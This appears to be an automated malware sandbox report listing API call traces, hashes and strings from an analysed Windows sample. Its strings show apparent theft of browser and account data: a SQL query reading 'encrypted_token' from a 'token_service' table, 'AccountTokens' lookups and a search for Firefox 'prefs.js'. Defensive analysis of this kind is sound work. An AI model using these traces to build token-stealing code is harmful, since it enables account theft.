lstrlenA.KERNEL32(011DD8F8), ref: 0058FF3C
lstrcpy.KERNEL32(00000000,011DD7E8), ref: 0058FF9E
StrCmpCA.SHLWAPI(?,005B52A4), ref: 0058FFAD
lstrlenA.KERNEL32(011DD8F8), ref: 0058FFBF
lstrcpy.KERNEL32(00000000,011DD7E8), ref: 00590021
lstrcatA.KERNEL32(?,?), ref: 0059002F
lstrcatA.KERNEL32(?,005B52A8), ref: 0059003E
lstrcatA.KERNEL32(?,00000000), ref: 0059004C
lstrcatA.KERNEL32(?,005B52A8), ref: 0059005B
lstrlenA.KERNEL32(?), ref: 00590408
lstrlenA.KERNEL32(?), ref: 00590417
lstrcpy.KERNEL32(00000000,00000000), ref: 00590444
memset.MSVCRT ref: 0059047C
DeleteFileA.KERNEL32(?), ref: 005904A6

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$FileHeap$AllocateCopyDeleteProcessmemset
String ID:
API String ID: 1332541768-0
Opcode ID: dd72449cc17cad7b4c9cf335fb573774b20a23f367c0e869e00b4210c321b1e8
Instruction ID: dd496b856c6162f107ff646f6a648c65a780a0b6743a9999ba288d5adf293435
Opcode Fuzzy Hash: dd72449cc17cad7b4c9cf335fb573774b20a23f367c0e869e00b4210c321b1e8
Instruction Fuzzy Hash: 30824F30A012069FCF24EF68C948B6ABFF5BF48714F188569E909EB2A1DB35DD41CB54

Function 00587B10 Relevance: 83.2, APIs: 55, Instructions: 668
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00587B2A
RtlAllocateHeap.NTDLL(00000000), ref: 00587B31
lstrcatA.KERNEL32(?,011DCE10), ref: 00587D8A
lstrcatA.KERNEL32(?,?), ref: 00587DA0
lstrcatA.KERNEL32(?,?), ref: 00587DB6
lstrcatA.KERNEL32(?,?), ref: 00587DCC
lstrcatA.KERNEL32(?,011E0478), ref: 00587DE1
lstrcatA.KERNEL32(?,011E04D8), ref: 00587DF6
lstrcatA.KERNEL32(?,011E0430), ref: 00587E0A
lstrcatA.KERNEL32(?,011E04C0), ref: 00587E1F
lstrcatA.KERNEL32(?,011DDA38), ref: 00587E34
lstrcatA.KERNEL32(?,?), ref: 00587E4A
lstrcatA.KERNEL32(?,?), ref: 00587E60
lstrcatA.KERNEL32(?,?), ref: 00587E76
lstrcatA.KERNEL32(?,011E0478), ref: 00587E8A
lstrcatA.KERNEL32(?,011E04D8), ref: 00587E9F
lstrcatA.KERNEL32(?,011E0430), ref: 00587EB4
lstrcatA.KERNEL32(?,011E04C0), ref: 00587EC8
lstrcatA.KERNEL32(?,011DCE98), ref: 00587EDD
lstrcatA.KERNEL32(?,?), ref: 00587EF3
lstrcatA.KERNEL32(?,?), ref: 00587F09
lstrcatA.KERNEL32(?,?), ref: 00587F1F
lstrcatA.KERNEL32(?,011E0478), ref: 00587F34
lstrcatA.KERNEL32(?,011E04D8), ref: 00587F48
lstrcatA.KERNEL32(?,011E0430), ref: 00587F5D
lstrcatA.KERNEL32(?,011E04C0), ref: 00587F72
lstrcatA.KERNEL32(?,011DCF00), ref: 00587F86
lstrcatA.KERNEL32(?,?), ref: 00587F9C
lstrcatA.KERNEL32(?,?), ref: 00587FB2
lstrcatA.KERNEL32(?,?), ref: 00587FC8
lstrcatA.KERNEL32(?,011E0478), ref: 00587FDD
lstrcatA.KERNEL32(?,011E04D8), ref: 00587FF2
lstrcatA.KERNEL32(?,011E0430), ref: 00588006
lstrcatA.KERNEL32(?,011E04C0), ref: 0058801B
lstrcatA.KERNEL32(?,011DCF68), ref: 00588030
lstrcatA.KERNEL32(?,?), ref: 00588046
lstrcatA.KERNEL32(?,?), ref: 0058805C
lstrcatA.KERNEL32(?,?), ref: 00588072
lstrcatA.KERNEL32(?,011E0478), ref: 00588086
lstrcatA.KERNEL32(?,011E04D8), ref: 0058809B
lstrcatA.KERNEL32(?,011E0430), ref: 005880B0
lstrcatA.KERNEL32(?,011E04C0), ref: 005880C4
lstrcatA.KERNEL32(?,011E1150), ref: 005880D9
lstrcatA.KERNEL32(?,?), ref: 005880EF
lstrcatA.KERNEL32(?,?), ref: 00588105
lstrcatA.KERNEL32(?,?), ref: 0058811B
lstrcatA.KERNEL32(?,011E0478), ref: 00588130
lstrcatA.KERNEL32(?,011E04D8), ref: 00588144
lstrcatA.KERNEL32(?,011E0430), ref: 00588159
lstrcatA.KERNEL32(?,011E04C0), ref: 0058816E

Part of subcall function 005879A0: lstrcatA.KERNEL32(0FCE8020,005B5094), ref: 005879D0
Part of subcall function 005879A0: lstrcatA.KERNEL32(0FCE8020,?), ref: 005879FD
Part of subcall function 005879A0: lstrcatA.KERNEL32(0FCE8020, : ), ref: 00587A0F
Part of subcall function 005879A0: lstrcatA.KERNEL32(0FCE8020,?), ref: 00587A30
Part of subcall function 005879A0: lstrcatA.KERNEL32(0FCE8020,005B5094), ref: 00587AA0

Part of subcall function 005879A0: wsprintfA.USER32 ref: 00587A50
Part of subcall function 005879A0: lstrcpy.KERNEL32(00000000,?), ref: 00587A79
Part of subcall function 005879A0: lstrcatA.KERNEL32(0FCE8020,00000000), ref: 00587A87

lstrcatA.KERNEL32(?,011DD648), ref: 005882B5
lstrcatA.KERNEL32(?,011E0CF8), ref: 005882C6
lstrlenA.KERNEL32(0FCE8020), ref: 005882D3
lstrlenA.KERNEL32(0FCE8020), ref: 005882E3
lstrcpy.KERNEL32(00000000,?), ref: 0058831D

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrcpylstrlen$AllocateProcesswsprintf
String ID:
API String ID: 3168643798-0
Opcode ID: d6267e6e2f8610ddbedcd16d9d6fc99617cc50cf623247656b91c061a4346b49
Instruction ID: b89effaecd62c423b597b912b107320c2b6418f7a7ebc2c430c0b37eee670f07
Opcode Fuzzy Hash: d6267e6e2f8610ddbedcd16d9d6fc99617cc50cf623247656b91c061a4346b49
Instruction Fuzzy Hash: 51521B75518385AFC764DB64C89499BB7E9FBC8310F00CE2DAA9D83250EF38A604CF56

Function 0058B070 Relevance: 75.7, APIs: 50, Instructions: 746stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 0058B0A3
lstrlenA.KERNEL32(011DFF20), ref: 0058B0C2
lstrcpy.KERNEL32(00000000,?), ref: 0058B0EF
lstrcatA.KERNEL32(00000000,00000000), ref: 0058B0F7
lstrlenA.KERNEL32(005B1D5C), ref: 0058B102
lstrcpy.KERNEL32(00000000,00000000), ref: 0058B122
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 0058B12E
lstrcpy.KERNEL32(00000000,?), ref: 0058B159
lstrcatA.KERNEL32(00000000,00000000), ref: 0058B164
lstrlenA.KERNEL32(011DD948), ref: 0058B172
lstrcpy.KERNEL32(00000000,00000000), ref: 0058B19E
lstrcatA.KERNEL32(00000000,011DD948), ref: 0058B1A6
lstrcpy.KERNEL32(00000000,00000000), ref: 0058B1D7
lstrlenA.KERNEL32(011DFF20), ref: 0058B1FC
lstrcpy.KERNEL32(00000000,?), ref: 0058B229
lstrcatA.KERNEL32(00000000,00000000), ref: 0058B231
lstrlenA.KERNEL32(005B1D5C), ref: 0058B23C
lstrcpy.KERNEL32(00000000,00000000), ref: 0058B25C
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 0058B268
lstrcpy.KERNEL32(00000000,00000000), ref: 0058B291
lstrcatA.KERNEL32(00000000,00000000), ref: 0058B29C
lstrlenA.KERNEL32(005B5158), ref: 0058B2A7
lstrcpy.KERNEL32(00000000,00000000), ref: 0058B2C9
lstrcatA.KERNEL32(00000000,005B5158), ref: 0058B2D5
lstrcpy.KERNEL32(00000000,?), ref: 0058B2FD
lstrcatA.KERNEL32(00000000,00000000), ref: 0058B308
lstrlenA.KERNEL32(011DD948), ref: 0058B31A
lstrcpy.KERNEL32(00000000,00000000), ref: 0058B343
lstrcatA.KERNEL32(00000000,00000000), ref: 0058B351
lstrcpy.KERNEL32(00000000,00000000), ref: 0058B37F
lstrcpy.KERNEL32(00000000,005AD014), ref: 0058B420
lstrcpy.KERNEL32(00000000,00000000), ref: 0058B46E
lstrcpy.KERNEL32(00000000,00000000), ref: 0058B499
lstrcatA.KERNEL32(00000000,00000000), ref: 0058B4A1

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen
String ID:
API String ID: 2762123234-0
Opcode ID: 8e471cb8b8ea62e359f6ab75597a56fb7acf6c6145babfa77ebe80b1e779e857
Instruction ID: 6dc3eec5a9082c171fd2acfc36e843a17deed7cf57a25eb69214fa5bfcd49de6
Opcode Fuzzy Hash: 8e471cb8b8ea62e359f6ab75597a56fb7acf6c6145babfa77ebe80b1e779e857
Instruction Fuzzy Hash: 46524F7090160A9FDB24EF68C849B6E7FB9BF44704F188169ED05BB261DB35DC42CB94

Function 0058D4C9 Relevance: 70.6, APIs: 37, Strings: 3, Instructions: 555stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 0058D4F0
lstrlenA.KERNEL32(AccountTokens), ref: 0058D4FB
lstrcpy.KERNEL32(00000000,?), ref: 0058D52D
lstrcatA.KERNEL32(00000000,AccountTokens), ref: 0058D539
lstrlenA.KERNEL32(005B1D5C), ref: 0058D544
lstrcpy.KERNEL32(00000000,00000000), ref: 0058D565
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 0058D571
lstrcpy.KERNEL32(00000000,?), ref: 0058D59E
lstrcatA.KERNEL32(00000000,00000000), ref: 0058D5A9
lstrlenA.KERNEL32(011DD948), ref: 0058D5B7
lstrcpy.KERNEL32(00000000,00000000), ref: 0058D5E3
lstrcatA.KERNEL32(00000000,011DD948), ref: 0058D5EB
lstrcpy.KERNEL32(00000000,00000000), ref: 0058D61E
lstrcpy.KERNEL32(00000000,005AD014), ref: 0058D857
lstrcpy.KERNEL32(00000000,00000000), ref: 0058D8A7
lstrcpy.KERNEL32(00000000,?), ref: 0058D90C
lstrlenA.KERNEL32(?), ref: 0058D931
LocalAlloc.KERNEL32(00000040,00000001), ref: 0058D952
StrStrA.SHLWAPI(00000000,AccountId), ref: 0058D97F
lstrcpy.KERNEL32(00000000,00000000), ref: 0058D9C0
lstrcatA.KERNEL32(00000000,00000000), ref: 0058D9CC
lstrcpy.KERNEL32(00000000,00000000), ref: 0058D9FA
lstrlenA.KERNEL32(005B5264), ref: 0058DA0C
lstrcpy.KERNEL32(00000000,00000000), ref: 0058DA30
lstrcatA.KERNEL32(00000000,005B5264), ref: 0058DA3C
lstrcpy.KERNEL32(00000000,00000000), ref: 0058DA6A
lstrlenA.KERNEL32(0000000A), ref: 0058DA7C
lstrcpy.KERNEL32(00000000,00000000), ref: 0058DAA7
lstrcatA.KERNEL32(00000000,00000000), ref: 0058DAB3
lstrcpy.KERNEL32(00000000,00000000), ref: 0058DADD
lstrlenA.KERNEL32(005B5094), ref: 0058DAEF
lstrcpy.KERNEL32(00000000,00000000), ref: 0058DB10
lstrcatA.KERNEL32(00000000,005B5094), ref: 0058DB1C
lstrcpy.KERNEL32(00000000,00000000), ref: 0058DB48

Strings

AccountId, xrefs: 0058D979
SELECT service, encrypted_token FROM token_service, xrefs: 0058D816
AccountTokens, xrefs: 0058D4F6, 0058D533

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$AllocLocal
String ID: AccountId$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3196764088-2907684507
Opcode ID: 5e200515c110ed8ae08c9720ae53a7e8525ee9f6969e152b06deabecdd633182
Instruction ID: 68ce3329aad4ce957d2d6c74c9d863757d80215f5216574a2e21e0cc2f8a3971
Opcode Fuzzy Hash: 5e200515c110ed8ae08c9720ae53a7e8525ee9f6969e152b06deabecdd633182
Instruction Fuzzy Hash: 9A2249306052069FCB24BF68C848B2ABFF9BF84705F148529FD55A72A1DB74EC41CBA1

Function 0059301C Relevance: 69.6, APIs: 46, Instructions: 572
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32 ref: 00593028
lstrcatA.KERNEL32(?,00000000), ref: 00593033
lstrlenA.KERNEL32(005B1D5C), ref: 0059303E
lstrcpy.KERNEL32(00000000), ref: 00593061
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 0059306D
lstrlenA.KERNEL32(011DFDB8), ref: 0059307C
lstrcpy.KERNEL32(00000000,?), ref: 005930AC
lstrcatA.KERNEL32(00000000,?), ref: 005930B4
lstrlenA.KERNEL32(005B1D5C), ref: 005930BF
lstrcpy.KERNEL32(00000000,00000000), ref: 005930E2
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 005930EE
lstrlenA.KERNEL32(011E0B58), ref: 005930FD
lstrcpy.KERNEL32(00000000,?), ref: 00593127
lstrcatA.KERNEL32(00000000,?), ref: 0059312F
lstrcpy.KERNEL32(00000000,00000000), ref: 00593152
lstrcatA.KERNEL32(00000000,00000000), ref: 0059315D
lstrlenA.KERNEL32(011E0BD8), ref: 0059316C
lstrcpy.KERNEL32(00000000,00000000), ref: 00593195
lstrcatA.KERNEL32(00000000,00000000), ref: 005931A0
lstrcpy.KERNEL32(00000000,00000000), ref: 005931C9
lstrlenA.KERNEL32(005B1D5C), ref: 0059322B
lstrcpy.KERNEL32(00000000,00000000), ref: 00593250
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 0059325C
lstrlenA.KERNEL32(011DD708), ref: 0059326A
lstrcpy.KERNEL32(00000000,00000000), ref: 0059328B
lstrcatA.KERNEL32(00000000,011DD708), ref: 00593293
lstrcpy.KERNEL32(00000000,00000000), ref: 005932BA
lstrcpy.KERNEL32(00000000,?), ref: 005932EF
GetFileAttributesA.KERNEL32(00000000), ref: 005932F6
lstrcpy.KERNEL32(00000000,?), ref: 005933B7
lstrcpy.KERNEL32(00000000,?), ref: 005933E0
lstrcpy.KERNEL32(00000000,?), ref: 00593409
lstrcpy.KERNEL32(00000000,?), ref: 00593434

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$AttributesFile
String ID:
API String ID: 1033685851-0
Opcode ID: e1df4f2f0d596d7c4aaaa3236448cdc17745b88aa8b0cc9220ab96f582a7c24c
Instruction ID: fb72a4fac09b17e88cc953f7be13eee223cc3c54e43ad5a2c4d68062d6b29013
Opcode Fuzzy Hash: e1df4f2f0d596d7c4aaaa3236448cdc17745b88aa8b0cc9220ab96f582a7c24c
Instruction Fuzzy Hash: 81123931A1121A9BDF24BFA8C84DAAE7FF8BF84700F048568FD55A7260DB34DD418B95

Function 00595038 Relevance: 65.7, APIs: 36, Strings: 1, Instructions: 983stringfileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,005B1D68), ref: 0059504D
StrCmpCA.SHLWAPI(?,005B1D6C), ref: 00595068
lstrcpy.KERNEL32(00000000,005AD014), ref: 005950A1
lstrcpy.KERNEL32(00000000,?), ref: 005950D4
lstrcatA.KERNEL32(00000000,00000000), ref: 005950E2
lstrlenA.KERNEL32(005B1D5C), ref: 005950ED
lstrcpy.KERNEL32(00000000,00000000), ref: 0059510A
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 00595116
lstrlenA.KERNEL32(?), ref: 00595124
lstrcpy.KERNEL32(00000000,00000000), ref: 0059514A
lstrcatA.KERNEL32(00000000,?), ref: 00595159
lstrcpy.KERNEL32(00000000,00000000), ref: 00595184
StrCmpCA.SHLWAPI(?,prefs.js), ref: 005951AE
FindNextFileA.KERNELBASE(?,?), ref: 00595689
FindClose.KERNEL32(?), ref: 00595698

Strings

prefs.js, xrefs: 005951A1

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$Findlstrlen$CloseFileNext
String ID: prefs.js
API String ID: 4152203504-3783873740
Opcode ID: c81a88a803f077fe52d6f28924d1bdc762d99246d4b872bc9d04846da07f6547
Instruction ID: 18098e3e72619269842a68d6d731309f59e8175e26d432dc596c739b2cde1ba6
Opcode Fuzzy Hash: c81a88a803f077fe52d6f28924d1bdc762d99246d4b872bc9d04846da07f6547
Instruction Fuzzy Hash: 13823B70A01B068FDF25CF29C948B2ABBE5BF44714F19C1ADE9099B2A1E735DC52CB44

Function 00595036 Relevance: 65.7, APIs: 36, Strings: 1, Instructions: 982stringfileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,005B1D68), ref: 0059504D
StrCmpCA.SHLWAPI(?,005B1D6C), ref: 00595068
lstrcpy.KERNEL32(00000000,005AD014), ref: 005950A1
lstrcpy.KERNEL32(00000000,?), ref: 005950D4
lstrcatA.KERNEL32(00000000,00000000), ref: 005950E2
lstrlenA.KERNEL32(005B1D5C), ref: 005950ED
lstrcpy.KERNEL32(00000000,00000000), ref: 0059510A
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 00595116
lstrlenA.KERNEL32(?), ref: 00595124
lstrcpy.KERNEL32(00000000,00000000), ref: 0059514A
lstrcatA.KERNEL32(00000000,?), ref: 00595159
lstrcpy.KERNEL32(00000000,00000000), ref: 00595184
StrCmpCA.SHLWAPI(?,prefs.js), ref: 005951AE
FindNextFileA.KERNELBASE(?,?), ref: 00595689
FindClose.KERNEL32(?), ref: 00595698

Strings

prefs.js, xrefs: 005951A1

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$Findlstrlen$CloseFileNext
String ID: prefs.js
API String ID: 4152203504-3783873740
Opcode ID: 38924d7a6393850c429c8dd1018f9b357593dd0dd1fde799793f8093f355bfe1
Instruction ID: 972da2b76428596ba6251626cf1d161e7fff37b9125f59c69b4ace4cd00a14ea
Opcode Fuzzy Hash: 38924d7a6393850c429c8dd1018f9b357593dd0dd1fde799793f8093f355bfe1
Instruction Fuzzy Hash: 09823B70A01B068FDF25CF29C948B2ABBE5BF44714F19C1ADE9099B2A1E735DC52CB44

Function 0058B960 Relevance: 63.5, APIs: 42, Instructions: 542
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 0058B993
lstrlenA.KERNEL32(011DD808), ref: 0058B9B2
lstrcpy.KERNEL32(00000000,?), ref: 0058B9DF
lstrcatA.KERNEL32(00000000,00000000), ref: 0058B9E7
lstrlenA.KERNEL32(005B1D5C), ref: 0058B9F2
lstrcpy.KERNEL32(00000000,00000000), ref: 0058BA12
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 0058BA1E
lstrcpy.KERNEL32(00000000,?), ref: 0058BA49
lstrcatA.KERNEL32(00000000,00000000), ref: 0058BA54
lstrlenA.KERNEL32(011DD948), ref: 0058BA62
lstrcpy.KERNEL32(00000000,00000000), ref: 0058BA8E
lstrcatA.KERNEL32(00000000,011DD948), ref: 0058BA96
lstrcpy.KERNEL32(00000000,00000000), ref: 0058BAC7
lstrlenA.KERNEL32(011DD808), ref: 0058BAEC
lstrcpy.KERNEL32(00000000,?), ref: 0058BB19
lstrcatA.KERNEL32(00000000,00000000), ref: 0058BB21
lstrlenA.KERNEL32(005B1D5C), ref: 0058BB2C
lstrcpy.KERNEL32(00000000,00000000), ref: 0058BB4C
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 0058BB58
lstrcpy.KERNEL32(00000000,00000000), ref: 0058BB81
lstrcatA.KERNEL32(00000000,00000000), ref: 0058BB8C
lstrlenA.KERNEL32(005B5158), ref: 0058BB97
lstrcpy.KERNEL32(00000000,00000000), ref: 0058BBB9
lstrcatA.KERNEL32(00000000,005B5158), ref: 0058BBC5
lstrcpy.KERNEL32(00000000,?), ref: 0058BBED
lstrcatA.KERNEL32(00000000,00000000), ref: 0058BBF8
lstrlenA.KERNEL32(011DD948), ref: 0058BC0A
lstrcpy.KERNEL32(00000000,00000000), ref: 0058BC33
lstrcatA.KERNEL32(00000000,00000000), ref: 0058BC41
lstrcpy.KERNEL32(00000000,00000000), ref: 0058BC6F
lstrcpy.KERNEL32(00000000,005AD014), ref: 0058BD0F
lstrlenA.KERNEL32(00000000), ref: 0058BD42
lstrcpy.KERNEL32(00000000,00000000), ref: 0058BD6C
lstrcatA.KERNEL32(00000000,00000000), ref: 0058BD74
lstrcpy.KERNEL32(00000000,00000000), ref: 0058BD9C

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen
String ID:
API String ID: 2762123234-0
Opcode ID: 1176f309eff4976c26e065cd0c190a2ba6242551bd93a5af24cff259f9418afb
Instruction ID: a9670bda094cc4bd7622a198bb5a91bbac47ae01de479a602be2f9d934c06f49
Opcode Fuzzy Hash: 1176f309eff4976c26e065cd0c190a2ba6242551bd93a5af24cff259f9418afb
